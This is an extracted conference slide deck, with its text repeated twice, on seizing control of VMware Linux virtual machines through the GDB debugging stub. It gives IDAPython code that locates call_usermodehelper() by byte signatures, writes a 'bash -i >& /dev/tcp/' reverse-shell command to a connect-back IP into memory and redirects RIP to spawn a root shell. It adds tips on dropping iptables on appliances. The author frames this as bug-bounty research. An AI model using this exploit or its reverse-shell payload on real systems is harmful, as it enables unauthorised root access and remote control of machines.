Breaking into Linux VMs
For Fun and Profit
Russell Sanford
xort @ sploit.online
• I Originally created this technique in 2016 and did a talk called…
Compromising Linux Virtual Machines with Debugging Mechanisms
(slideshare.net)
https://www.slideshare.net/xort/compromising-linux-virtual-machines-with-debugging-mechanisms
This technique allows you to seize control of a (on-prem) Linux Virtual
Machine and spawn a connect back root shell from kernel land.
(Ring0 -> Ring3 -> Us)
Machines relying on LUKs boot-key encryption are not secure and access to
their appliances code base can be audited for vulnerabilities.
Breaking Into Linux VMs
for Fun and Profit
This attack opened the door to finding >30 Remote Root (auth and pre-
auth) vulnerabilities in security vendor’s products
(Citrix, Sophos, Barracuda, Bluecoat, Sonicwall, etc…)
Made me > $20k in bug bounties ( the ‘profit’ :D )
Got me up to #107 on bugcrowd’s ~50k signed up researchers
Breaking Into Linux VMs
for Fun and Profit
Vmware added GDB Plugs to their products allowing for OS developers to
diagnose code in their Virtual Machines.
I adapted methodology used in UNIX Ptrace styled attacks to see what fun could
be had…
Breaking Into Linux VMs
for Fun and Profit
So What Brought this on…
Breaking Into Linux VMs
for Fun and Profit
int call_usermodehelper ( const char * path,
char ** argv,
char ** envp,
int wait);
Name
call_usermodehelper — prepare and start a usermode application
Synopsis
(FROM KERNEL LAND)
Were starting off in
Kernel Land…
This allows us to go from
RING 0 (kernel) to RING3
(userland)
Where we can launch our
attack. :D
Breaking Into Linux VMs
for Fun and Profit
Finding Bytes Signatures… To find Pathways to API
Locate SIMILAR
sections of code from
multiple target’s
using unique
assembly sequences
Compare bytes and
find sections with
gaps of indifference
that realign later in
the code for more
unique samples
Breaking Into Linux VMs
for Fun and Profit
Configuring IDA PRO
And VMware to have some fun…
• VMware Workstation >= 5.0
• VMware Player >= 3.0
• Fusion
• Allow RWX of memory, ability to single-step, etc @ kernel level
• When attaching to a Linux VM we land in native_safe_halt()
Breaking Into Linux VMs
for Fun and Profit
VMWARE GDB STUBS
Breaking Into Linux VMs
for Fun and Profit
Configuring IDA Pro to connect to Vmware GDB server
Breaking Into Linux VMs
for Fun and Profit
Configuring IDA Pro to connect to Vmware GDB server
Breaking Into Linux VMs
for Fun and Profit
Configuring IDA Pro to connect to Vmware GDB server
ORIGINAL ATTACK (2016)
Breaking Into Linux VMs
for Fun and Profit
Breaking Into Linux VMs
for Fun and Profit
ORIGINAL ATTACK (2016)
Breaking Into Linux VMs
for Fun and Profit
THE REVISED ATTACK (2023)
API Identification…
THE PROBLEM:
The Old Way was slow and would sometimes fail with debugging over a network…
I needed to come up with a solution to find call_usermodehelper() API in a quicker and more
elegant way.
THE SOLUTION:
Instead of one large sweep of memory looking for a single byte signature…
I would analyze the kernel and write a routine to find functions that called into functions, that
would call into functions, that would call into functions (3 layers deep) and end up at an
address CLOSE ( 0xFFFFFFFFF0000 range) to call_usermodehelper()
From Here, a final memory fingerprint byte scan is done to identify call_usermodehelper()
Breaking Into Linux VMs
for Fun and Profit
THE REVISED ATTACK (2023)
API Pathway Identification Map Routine (Searches 4 Levels Deep in Code XREFs) for an address close
to call_usermodehelper()
Breaking Into Linux VMs
for Fun and Profit
• THE REVISED ATTACK (2023)
Shellcode? Who needs Shellcode… :D …..Not Us.
• We change RIP to call_usermodehelp()’s entry point and set register values to
ARGV[] data we store backwards in stack
• When it reaches the end of the function – it returns to what native_safe_halt()
would have and it’s as if we never made a change
• Return of execution is smoothly given back to the OS – but our shell has been
spawned. :D
Breaking Into Linux VMs
for Fun and Profit
• THE REVISED ATTACK (2023)
Breaking Into Linux VMs
for Fun and Profit
We Change RIP from
native_safe_halt()
to call_usermodehelper()
without any patches to the
code.
Call_usermodehelper() will
cleanly exit ounce our shell is
spawned by returning to
where native_safe_halt() was
supposed to
Breaking Into Linux VMs
for Fun and Profit
THE REVISED ATTACK (2023)
1) API Identification through:
A) 1st Round - Memory Signature scan to find Code Xref’ed to…
B) Extracting Pointer from CALL instruction ( and calculating 2’s compliment offset)
C) 2nd Round – Memory Signature scan to find Code Xref’ed to…
D) Extracting Pointer from CALL instruction ( and calculating 2’s compliment offset)
E) 3rd Round – Memory Scanning for call_usermodehelper()’s API address
2) Backing up Machine State - Register Values and Memory Area to be used for executing Shellcode (current RIP address)
3) Creating ARGV[] data somewhere back in the Stack
4) Restoring Machine State – Restoring Register Values – Setting RIP back – Patching back memory we overwrote to execute
Shellcode
Breaking Into Linux VMs
for Fun and Profit
The path to call_usermodehelper() …
Breaking Into Linux VMs
for Fun and Profit
We start in native_safe_halt() …
Scan Up in Memory for acpi_os_unmap_iomem()
Using byte signature pattern: 48 B9 22 01 00 00 00 00 AD DE ...
acpi_os_unmap_iomem_sig = "48 B9 22 01 00 00 00 00 AD DE”
sig_addr = idc.find_binary(addr, SEARCH_UP, acpi_os_unmap_iomem_sig)
Breaking Into Linux VMs
for Fun and Profit
acpi_os_unmap_iomem() we find a CALL to queue_rcu_work() which we extract the destinations API
from the CALL instruction which is located 0x2d bytes from our byte signature
offset_to_queue_rcu_work = ctypes.c_long(unpack("<L", get_bytes((sig_addr + 0x2d),4,0))[0]).value
Breaking Into Linux VMs
for Fun and Profit
queue_rcu_work() resides close to call_usermodehelper() in memory …
call_usermodehelper_sig = "55 83 F9 01 48 89 E5 41 56 41 89 CE 41 55 49 89 FD“
sig_addr = idc.find_binary(queue_rcu_work_address, SEARCH_UP, call_usermodehelper_sig)
We Search up for the binary pattern: 55 83 F9 01 48 89 E5 41 56 41 89 CE 41 55 49 89 FD to
find it.
Breaking Into Linux VMs
for Fun and Profit
ARGV in Memory…
• Top area is set aside to hold QWORD
of pointers to strings used in ARGV
array
• Ends with NULL (Qword) to signify
end of array
• Bottom area will hold actual string
data
Breaking Into Linux VMs
for Fun and Profit
con_back_ip = "192.168.1.111"
con_back_port = "33333"
command_to_execute = "bash -i >& /dev/tcp/" + con_back_ip + "/" + con_back_port + " 0>&1“ # CMD in memory for ARGV...
cmd_runner_prefix = b"/bin/bashx00-cx00“ # payload / command to execute
location = get_reg_value("rsp") - 0x1000
location2= get_reg_value("rsp") - 0x1100
idaapi.dbg_write_memory(location, (cmd_runner_prefix + command_to_execute.encode('latin-1')) + b"x00" )
set_reg_value(location, "rdi") # RDI = program to execute
# RSI = construct argv[]
idaapi.dbg_write_memory(location2, pack("<Q", location)) # program name and start of argv
idaapi.dbg_write_memory(location2+8, pack("<Q", location+10))
idaapi.dbg_write_memory(location2+16, pack("<Q", location+13))
idaapi.dbg_write_memory(location2+24, pack("<Q", 0x0)) # end of argv[]
set_reg_value(location2, "rsi") # RSI = argv[]
set_reg_value(0x0, "rdx") # RDX = envp[] (null)
set_reg_value( call_usermodehelper , "rip") # RIP to call_usermodehelper()
Breaking Into Linux VMs
for Fun and Profit
Exploit in action…
Root Shell 
Breaking Into Linux VMs
for Fun and Profit
The do_coredump() method
Universal Unlock Method for ALL 5x 6x Kernels
( also… much slower :D ! Go grab food and wait! )
Breaking Into Linux VMs
for Fun and Profit
When we attach to a running Linux kernel using GDB stubs, we land in a call to
native_safe_halt().
This is where our journey begins… :D
Breaking Into Linux VMs
for Fun and Profit
do_coredump_sig1 = "BA 00 02 00 00 BE C0 0C 00 00 E8 ?? ?? ?? ?? 48 85 C0“
sig_addr = idc.find_binary(addr, SEARCH_UP, do_coredump_sig1)
We Search up for the binary pattern: BA 00 02 00 00 BE C0 0C 00 00 E8 ?? ?? ?? ?? 48 85 C0
to land in do_coredump()
Breaking Into Linux VMs
for Fun and Profit
do_coredump_sig2 = "50 49 8B“
sig_addr = idc.find_binary(sig_addr, SEARCH_UP, do_coredump_sig2)
We Search up for the binary pattern: 50 49 8B to land the call to call_usermodehelper_setup() near
by…
Breaking Into Linux VMs
for Fun and Profit
do_coredump_sig3 = "E8 ?? ?? ?? ?? 44 8b“
sig_addr = idc.find_binary(sig_addr, SEARCH_DOWN, do_coredump_sig3)
call_usermodehelper_setup = (sig_addr+1) + ctypes.c_long(unpack("<L", get_bytes((sig_addr +
0x1),4,0))[0]).value
We Search down for the binary pattern: E8 ?? ?? ?? ?? 44 8b to find actual address reference
Breaking Into Linux VMs
for Fun and Profit
We dereference address of call_usermodehelper_setup() knowing call_usermodehelper() is near by
Just bytes below in a following function declaration….
VERY CLOSE NOW! :D
Breaking Into Linux VMs
for Fun and Profit
call_usermodehelper_sig1 = "81 E6 60 ?? FF FF 48 89 D3 BA ?? 00 00 00 81 C6 C0 0D 00 00“
sig_addr = idc.find_binary(call_usermodehelper_setup, SEARCH_DOWN,
call_usermodehelper_sig1)
We Search down for the binary pattern: 81 E6 60 ?? FF FF 48 89 D3 BA ?? 00 00 00 81 C6 C0 0D 00
00 to land in call_usermodehelper() …
Breaking Into Linux VMs
for Fun and Profit
call_usermodehelper_sig2 = "E8 ?? ?? ?? ?? 55 83 F9 01“
call_usermodehelper = idc.find_binary(sig_addr, SEARCH_UP, call_usermodehelper_sig2)
Lastly, we search up to find the beginning bytes of the function: call_usermodehelper() …
GAME TIME! :D
Breaking Into Linux VMs
for Fun and Profit
The path to call_usermodehelper() using the do_coredump() route/method…
Breaking Into Linux VMs
for Fun and Profit
Root Shell 
Breaking Into Linux VMs
for Fun and Profit
Tips for compromising
Network Appliances:
• Prelude payload with call to Drop IPTABLES
• Try adding a serial connection and using a serial connect back 1-liner
Breaking Into Linux VMs
for Fun and Profit
Thanks!
Russell Sanford
xort@sploit.online

0x01 - Breaking into Linux VMs for Fun and Profit

  • 1.
    Breaking into LinuxVMs For Fun and Profit Russell Sanford xort @ sploit.online
  • 2.
    • I Originallycreated this technique in 2016 and did a talk called… Compromising Linux Virtual Machines with Debugging Mechanisms (slideshare.net) https://www.slideshare.net/xort/compromising-linux-virtual-machines-with-debugging-mechanisms This technique allows you to seize control of a (on-prem) Linux Virtual Machine and spawn a connect back root shell from kernel land. (Ring0 -> Ring3 -> Us) Machines relying on LUKs boot-key encryption are not secure and access to their appliances code base can be audited for vulnerabilities. Breaking Into Linux VMs for Fun and Profit
  • 3.
    This attack openedthe door to finding >30 Remote Root (auth and pre- auth) vulnerabilities in security vendor’s products (Citrix, Sophos, Barracuda, Bluecoat, Sonicwall, etc…) Made me > $20k in bug bounties ( the ‘profit’ :D ) Got me up to #107 on bugcrowd’s ~50k signed up researchers Breaking Into Linux VMs for Fun and Profit
  • 4.
    Vmware added GDBPlugs to their products allowing for OS developers to diagnose code in their Virtual Machines. I adapted methodology used in UNIX Ptrace styled attacks to see what fun could be had… Breaking Into Linux VMs for Fun and Profit So What Brought this on…
  • 5.
    Breaking Into LinuxVMs for Fun and Profit int call_usermodehelper ( const char * path, char ** argv, char ** envp, int wait); Name call_usermodehelper — prepare and start a usermode application Synopsis (FROM KERNEL LAND) Were starting off in Kernel Land… This allows us to go from RING 0 (kernel) to RING3 (userland) Where we can launch our attack. :D
  • 6.
    Breaking Into LinuxVMs for Fun and Profit Finding Bytes Signatures… To find Pathways to API Locate SIMILAR sections of code from multiple target’s using unique assembly sequences Compare bytes and find sections with gaps of indifference that realign later in the code for more unique samples
  • 7.
    Breaking Into LinuxVMs for Fun and Profit Configuring IDA PRO And VMware to have some fun…
  • 8.
    • VMware Workstation>= 5.0 • VMware Player >= 3.0 • Fusion • Allow RWX of memory, ability to single-step, etc @ kernel level • When attaching to a Linux VM we land in native_safe_halt() Breaking Into Linux VMs for Fun and Profit VMWARE GDB STUBS
  • 9.
    Breaking Into LinuxVMs for Fun and Profit Configuring IDA Pro to connect to Vmware GDB server
  • 10.
    Breaking Into LinuxVMs for Fun and Profit Configuring IDA Pro to connect to Vmware GDB server
  • 11.
    Breaking Into LinuxVMs for Fun and Profit Configuring IDA Pro to connect to Vmware GDB server
  • 12.
    ORIGINAL ATTACK (2016) BreakingInto Linux VMs for Fun and Profit
  • 13.
    Breaking Into LinuxVMs for Fun and Profit ORIGINAL ATTACK (2016)
  • 14.
    Breaking Into LinuxVMs for Fun and Profit THE REVISED ATTACK (2023) API Identification… THE PROBLEM: The Old Way was slow and would sometimes fail with debugging over a network… I needed to come up with a solution to find call_usermodehelper() API in a quicker and more elegant way. THE SOLUTION: Instead of one large sweep of memory looking for a single byte signature… I would analyze the kernel and write a routine to find functions that called into functions, that would call into functions, that would call into functions (3 layers deep) and end up at an address CLOSE ( 0xFFFFFFFFF0000 range) to call_usermodehelper() From Here, a final memory fingerprint byte scan is done to identify call_usermodehelper()
  • 15.
    Breaking Into LinuxVMs for Fun and Profit THE REVISED ATTACK (2023) API Pathway Identification Map Routine (Searches 4 Levels Deep in Code XREFs) for an address close to call_usermodehelper()
  • 16.
    Breaking Into LinuxVMs for Fun and Profit
  • 17.
    • THE REVISEDATTACK (2023) Shellcode? Who needs Shellcode… :D …..Not Us. • We change RIP to call_usermodehelp()’s entry point and set register values to ARGV[] data we store backwards in stack • When it reaches the end of the function – it returns to what native_safe_halt() would have and it’s as if we never made a change • Return of execution is smoothly given back to the OS – but our shell has been spawned. :D Breaking Into Linux VMs for Fun and Profit
  • 18.
    • THE REVISEDATTACK (2023) Breaking Into Linux VMs for Fun and Profit We Change RIP from native_safe_halt() to call_usermodehelper() without any patches to the code. Call_usermodehelper() will cleanly exit ounce our shell is spawned by returning to where native_safe_halt() was supposed to
  • 19.
    Breaking Into LinuxVMs for Fun and Profit THE REVISED ATTACK (2023) 1) API Identification through: A) 1st Round - Memory Signature scan to find Code Xref’ed to… B) Extracting Pointer from CALL instruction ( and calculating 2’s compliment offset) C) 2nd Round – Memory Signature scan to find Code Xref’ed to… D) Extracting Pointer from CALL instruction ( and calculating 2’s compliment offset) E) 3rd Round – Memory Scanning for call_usermodehelper()’s API address 2) Backing up Machine State - Register Values and Memory Area to be used for executing Shellcode (current RIP address) 3) Creating ARGV[] data somewhere back in the Stack 4) Restoring Machine State – Restoring Register Values – Setting RIP back – Patching back memory we overwrote to execute Shellcode
  • 20.
    Breaking Into LinuxVMs for Fun and Profit The path to call_usermodehelper() …
  • 21.
    Breaking Into LinuxVMs for Fun and Profit We start in native_safe_halt() … Scan Up in Memory for acpi_os_unmap_iomem() Using byte signature pattern: 48 B9 22 01 00 00 00 00 AD DE ... acpi_os_unmap_iomem_sig = "48 B9 22 01 00 00 00 00 AD DE” sig_addr = idc.find_binary(addr, SEARCH_UP, acpi_os_unmap_iomem_sig)
  • 22.
    Breaking Into LinuxVMs for Fun and Profit acpi_os_unmap_iomem() we find a CALL to queue_rcu_work() which we extract the destinations API from the CALL instruction which is located 0x2d bytes from our byte signature offset_to_queue_rcu_work = ctypes.c_long(unpack("<L", get_bytes((sig_addr + 0x2d),4,0))[0]).value
  • 23.
    Breaking Into LinuxVMs for Fun and Profit queue_rcu_work() resides close to call_usermodehelper() in memory … call_usermodehelper_sig = "55 83 F9 01 48 89 E5 41 56 41 89 CE 41 55 49 89 FD“ sig_addr = idc.find_binary(queue_rcu_work_address, SEARCH_UP, call_usermodehelper_sig) We Search up for the binary pattern: 55 83 F9 01 48 89 E5 41 56 41 89 CE 41 55 49 89 FD to find it.
  • 24.
    Breaking Into LinuxVMs for Fun and Profit ARGV in Memory… • Top area is set aside to hold QWORD of pointers to strings used in ARGV array • Ends with NULL (Qword) to signify end of array • Bottom area will hold actual string data
  • 25.
    Breaking Into LinuxVMs for Fun and Profit con_back_ip = "192.168.1.111" con_back_port = "33333" command_to_execute = "bash -i >& /dev/tcp/" + con_back_ip + "/" + con_back_port + " 0>&1“ # CMD in memory for ARGV... cmd_runner_prefix = b"/bin/bashx00-cx00“ # payload / command to execute location = get_reg_value("rsp") - 0x1000 location2= get_reg_value("rsp") - 0x1100 idaapi.dbg_write_memory(location, (cmd_runner_prefix + command_to_execute.encode('latin-1')) + b"x00" ) set_reg_value(location, "rdi") # RDI = program to execute # RSI = construct argv[] idaapi.dbg_write_memory(location2, pack("<Q", location)) # program name and start of argv idaapi.dbg_write_memory(location2+8, pack("<Q", location+10)) idaapi.dbg_write_memory(location2+16, pack("<Q", location+13)) idaapi.dbg_write_memory(location2+24, pack("<Q", 0x0)) # end of argv[] set_reg_value(location2, "rsi") # RSI = argv[] set_reg_value(0x0, "rdx") # RDX = envp[] (null) set_reg_value( call_usermodehelper , "rip") # RIP to call_usermodehelper()
  • 26.
    Breaking Into LinuxVMs for Fun and Profit Exploit in action… Root Shell 
  • 27.
    Breaking Into LinuxVMs for Fun and Profit The do_coredump() method Universal Unlock Method for ALL 5x 6x Kernels ( also… much slower :D ! Go grab food and wait! )
  • 28.
    Breaking Into LinuxVMs for Fun and Profit When we attach to a running Linux kernel using GDB stubs, we land in a call to native_safe_halt(). This is where our journey begins… :D
  • 29.
    Breaking Into LinuxVMs for Fun and Profit do_coredump_sig1 = "BA 00 02 00 00 BE C0 0C 00 00 E8 ?? ?? ?? ?? 48 85 C0“ sig_addr = idc.find_binary(addr, SEARCH_UP, do_coredump_sig1) We Search up for the binary pattern: BA 00 02 00 00 BE C0 0C 00 00 E8 ?? ?? ?? ?? 48 85 C0 to land in do_coredump()
  • 30.
    Breaking Into LinuxVMs for Fun and Profit do_coredump_sig2 = "50 49 8B“ sig_addr = idc.find_binary(sig_addr, SEARCH_UP, do_coredump_sig2) We Search up for the binary pattern: 50 49 8B to land the call to call_usermodehelper_setup() near by…
  • 31.
    Breaking Into LinuxVMs for Fun and Profit do_coredump_sig3 = "E8 ?? ?? ?? ?? 44 8b“ sig_addr = idc.find_binary(sig_addr, SEARCH_DOWN, do_coredump_sig3) call_usermodehelper_setup = (sig_addr+1) + ctypes.c_long(unpack("<L", get_bytes((sig_addr + 0x1),4,0))[0]).value We Search down for the binary pattern: E8 ?? ?? ?? ?? 44 8b to find actual address reference
  • 32.
    Breaking Into LinuxVMs for Fun and Profit We dereference address of call_usermodehelper_setup() knowing call_usermodehelper() is near by Just bytes below in a following function declaration…. VERY CLOSE NOW! :D
  • 33.
    Breaking Into LinuxVMs for Fun and Profit call_usermodehelper_sig1 = "81 E6 60 ?? FF FF 48 89 D3 BA ?? 00 00 00 81 C6 C0 0D 00 00“ sig_addr = idc.find_binary(call_usermodehelper_setup, SEARCH_DOWN, call_usermodehelper_sig1) We Search down for the binary pattern: 81 E6 60 ?? FF FF 48 89 D3 BA ?? 00 00 00 81 C6 C0 0D 00 00 to land in call_usermodehelper() …
  • 34.
    Breaking Into LinuxVMs for Fun and Profit call_usermodehelper_sig2 = "E8 ?? ?? ?? ?? 55 83 F9 01“ call_usermodehelper = idc.find_binary(sig_addr, SEARCH_UP, call_usermodehelper_sig2) Lastly, we search up to find the beginning bytes of the function: call_usermodehelper() … GAME TIME! :D
  • 35.
    Breaking Into LinuxVMs for Fun and Profit The path to call_usermodehelper() using the do_coredump() route/method…
  • 36.
    Breaking Into LinuxVMs for Fun and Profit Root Shell 
  • 37.
    Breaking Into LinuxVMs for Fun and Profit Tips for compromising Network Appliances: • Prelude payload with call to Drop IPTABLES • Try adding a serial connection and using a serial connect back 1-liner
  • 38.
    Breaking Into LinuxVMs for Fun and Profit Thanks! Russell Sanford xort@sploit.online